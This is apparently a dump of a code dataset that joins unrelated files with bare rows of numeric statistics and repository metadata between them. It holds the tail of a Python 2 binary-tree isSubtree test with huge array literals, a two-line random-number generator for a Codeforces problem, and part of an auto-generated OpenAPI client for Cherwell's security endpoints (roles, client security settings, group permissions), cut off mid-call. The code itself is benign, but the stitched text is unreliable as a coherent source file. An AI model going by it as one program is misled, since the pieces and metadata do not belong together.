,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,2] ) t = utils.maketree([1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,2] ) utils.printtree(s) utils.printtree(t) print Solution().isSubtree(s, t)
168.323944
7,005
0.703288
3,231
11,951
2.600124
0.017642
0.892751
1.071301
1.783121
0.951672
0.951672
0.951672
0.951672
0.951672
0.951672
0
0.131965
0.029872
11,951
71
7,006
168.323944
0.592634
0.014476
0
0.465116
0
0
0.000086
0
0
0
0
0
0
0
null
null
0
0.046512
null
null
0.069767
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
12
ae2f9260580b1bd876cd845290ca81638aa7a698
62
py
Python
Codeforces/435/gen.py
Mindjolt2406/Competitive-Programming
d000d98bf7005ee4fb809bcea2f110e4c4793b80
[ "MIT" ]
2
2018-12-11T14:37:24.000Z
2022-01-23T18:11:54.000Z
Codeforces/435/gen.py
Mindjolt2406/Competitive-Programming
d000d98bf7005ee4fb809bcea2f110e4c4793b80
[ "MIT" ]
null
null
null
Codeforces/435/gen.py
Mindjolt2406/Competitive-Programming
d000d98bf7005ee4fb809bcea2f110e4c4793b80
[ "MIT" ]
null
null
null
from random import * print randint(1,100000),randint(1,100000)
31
41
0.790323
10
62
4.9
0.7
0.326531
0.571429
0
0
0
0
0
0
0
0
0.245614
0.080645
62
2
41
31
0.614035
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0.5
null
null
0.5
1
0
0
null
1
1
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
1
0
8
ae4d56876ce61806007d41fd7c18d8c21fba9c19
143,131
py
Python
pycherwell/api/security_api.py
greenpau/pycherwell
2a25446d5cf86d69e6158067faf27ce250aba966
[ "Apache-2.0" ]
2
2020-04-09T16:41:25.000Z
2020-08-25T21:07:53.000Z
pycherwell/api/security_api.py
greenpau/pycherwell
2a25446d5cf86d69e6158067faf27ce250aba966
[ "Apache-2.0" ]
15
2020-02-12T14:57:30.000Z
2020-11-27T23:34:15.000Z
pycherwell/api/security_api.py
greenpau/pycherwell
2a25446d5cf86d69e6158067faf27ce250aba966
[ "Apache-2.0" ]
2
2020-02-12T14:57:38.000Z
2021-07-30T11:32:28.000Z
# coding: utf-8 """ Cherwell REST API Unofficial Python Cherwell REST API library. # noqa: E501 The version of the OpenAPI document: 9.3.2 Contact: See AUTHORS. Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from pycherwell.api_client import ApiClient from pycherwell.exceptions import ( ApiTypeError, ApiValueError ) class SecurityApi(object): """NOTE: This class is auto generated by OpenAPI Generator Ref: https://openapi-generator.tech Do not edit the class manually. """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def security_get_client_security_settings_v1(self, applicationtype, **kwargs): # noqa: E501 """Get client security settings # noqa: E501 Operation to get the configured client security settings. Returns true if internal, Windows, LDAP, or SAML are enabled as authentication methods. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_client_security_settings_v1(applicationtype, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str applicationtype: The type of CSM application to return security settings for. Application type is Desktop Client, Browser Client, Browser Portal or Cherwell Mobile. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: ClientSecuritySettingsResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_client_security_settings_v1_with_http_info(applicationtype, **kwargs) # noqa: E501 def security_get_client_security_settings_v1_with_http_info(self, applicationtype, **kwargs): # noqa: E501 """Get client security settings # noqa: E501 Operation to get the configured client security settings. Returns true if internal, Windows, LDAP, or SAML are enabled as authentication methods. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_client_security_settings_v1_with_http_info(applicationtype, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str applicationtype: The type of CSM application to return security settings for. Application type is Desktop Client, Browser Client, Browser Portal or Cherwell Mobile. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(ClientSecuritySettingsResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['applicationtype'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_client_security_settings_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'applicationtype' is set if self.api_client.client_side_validation and ('applicationtype' not in local_var_params or # noqa: E501 local_var_params['applicationtype'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `applicationtype` when calling `security_get_client_security_settings_v1`") # noqa: E501 collection_formats = {} path_params = {} if 'applicationtype' in local_var_params: path_params['applicationtype'] = local_var_params['applicationtype'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getclientsecuritysettings/applicationtype/{applicationtype}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ClientSecuritySettingsResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_roles_v1(self, **kwargs): # noqa: E501 """Get all available Roles # noqa: E501 Operation to get all available Roles. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_roles_v1(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: RoleReadResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_roles_v1_with_http_info(**kwargs) # noqa: E501 def security_get_roles_v1_with_http_info(self, **kwargs): # noqa: E501 """Get all available Roles # noqa: E501 Operation to get all available Roles. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_roles_v1_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(RoleReadResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_roles_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getroles', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='RoleReadResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_roles_v2(self, **kwargs): # noqa: E501 """Get all available Roles # noqa: E501 Operation to get all available Roles. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_roles_v2(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: RoleReadV2Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_roles_v2_with_http_info(**kwargs) # noqa: E501 def security_get_roles_v2_with_http_info(self, **kwargs): # noqa: E501 """Get all available Roles # noqa: E501 Operation to get all available Roles. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_roles_v2_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(RoleReadV2Response, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_roles_v2" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V2/getroles', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='RoleReadV2Response', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_business_object_permissions_by_bus_ob_id_v1(self, groupid, bus_ob_id, **kwargs): # noqa: E501 """Get Business Object permissions by Security Group # noqa: E501 Operation to get specific Business Object permissions for a Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_by_bus_ob_id_v1(groupid, bus_ob_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupid: Specify the Security Group ID. (required) :param str bus_ob_id: Specify the Business Object ID. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[BusinessObjectPermission] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_business_object_permissions_by_bus_ob_id_v1_with_http_info(groupid, bus_ob_id, **kwargs) # noqa: E501 def security_get_security_group_business_object_permissions_by_bus_ob_id_v1_with_http_info(self, groupid, bus_ob_id, **kwargs): # noqa: E501 """Get Business Object permissions by Security Group # noqa: E501 Operation to get specific Business Object permissions for a Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_by_bus_ob_id_v1_with_http_info(groupid, bus_ob_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupid: Specify the Security Group ID. (required) :param str bus_ob_id: Specify the Business Object ID. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[BusinessObjectPermission], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['groupid', 'bus_ob_id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_business_object_permissions_by_bus_ob_id_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'groupid' is set if self.api_client.client_side_validation and ('groupid' not in local_var_params or # noqa: E501 local_var_params['groupid'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `groupid` when calling `security_get_security_group_business_object_permissions_by_bus_ob_id_v1`") # noqa: E501 # verify the required parameter 'bus_ob_id' is set if self.api_client.client_side_validation and ('bus_ob_id' not in local_var_params or # noqa: E501 local_var_params['bus_ob_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `bus_ob_id` when calling `security_get_security_group_business_object_permissions_by_bus_ob_id_v1`") # noqa: E501 collection_formats = {} path_params = {} if 'groupid' in local_var_params: path_params['groupid'] = local_var_params['groupid'] # noqa: E501 if 'bus_ob_id' in local_var_params: path_params['busObId'] = local_var_params['bus_ob_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getsecuritygroupbusinessobjectpermissions/groupid/{groupid}/busobid/{busObId}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[BusinessObjectPermission]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_business_object_permissions_by_bus_ob_id_v2(self, groupid, bus_ob_id, **kwargs): # noqa: E501 """Get Business Object permissions by Security Group # noqa: E501 Operation to get specific Business Object permissions for a Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_by_bus_ob_id_v2(groupid, bus_ob_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupid: Specify the Security Group ID. (required) :param str bus_ob_id: Specify the Business Object ID. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: GetSecurityGroupBusinessObjectPermissionsResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_business_object_permissions_by_bus_ob_id_v2_with_http_info(groupid, bus_ob_id, **kwargs) # noqa: E501 def security_get_security_group_business_object_permissions_by_bus_ob_id_v2_with_http_info(self, groupid, bus_ob_id, **kwargs): # noqa: E501 """Get Business Object permissions by Security Group # noqa: E501 Operation to get specific Business Object permissions for a Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_by_bus_ob_id_v2_with_http_info(groupid, bus_ob_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupid: Specify the Security Group ID. (required) :param str bus_ob_id: Specify the Business Object ID. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(GetSecurityGroupBusinessObjectPermissionsResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['groupid', 'bus_ob_id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_business_object_permissions_by_bus_ob_id_v2" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'groupid' is set if self.api_client.client_side_validation and ('groupid' not in local_var_params or # noqa: E501 local_var_params['groupid'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `groupid` when calling `security_get_security_group_business_object_permissions_by_bus_ob_id_v2`") # noqa: E501 # verify the required parameter 'bus_ob_id' is set if self.api_client.client_side_validation and ('bus_ob_id' not in local_var_params or # noqa: E501 local_var_params['bus_ob_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `bus_ob_id` when calling `security_get_security_group_business_object_permissions_by_bus_ob_id_v2`") # noqa: E501 collection_formats = {} path_params = {} if 'groupid' in local_var_params: path_params['groupid'] = local_var_params['groupid'] # noqa: E501 if 'bus_ob_id' in local_var_params: path_params['busObId'] = local_var_params['bus_ob_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V2/getsecuritygroupbusinessobjectpermissions/groupid/{groupid}/busobid/{busObId}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='GetSecurityGroupBusinessObjectPermissionsResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_business_object_permissions_by_bus_ob_name_v1(self, groupname, busobname, **kwargs): # noqa: E501 """Get Business Object permissions by Security Group # noqa: E501 Operation to get specific Business Object permissions for a Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_by_bus_ob_name_v1(groupname, busobname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupname: Specify the Security Group name. (required) :param str busobname: Specify the Business Object name. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[BusinessObjectPermission] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_business_object_permissions_by_bus_ob_name_v1_with_http_info(groupname, 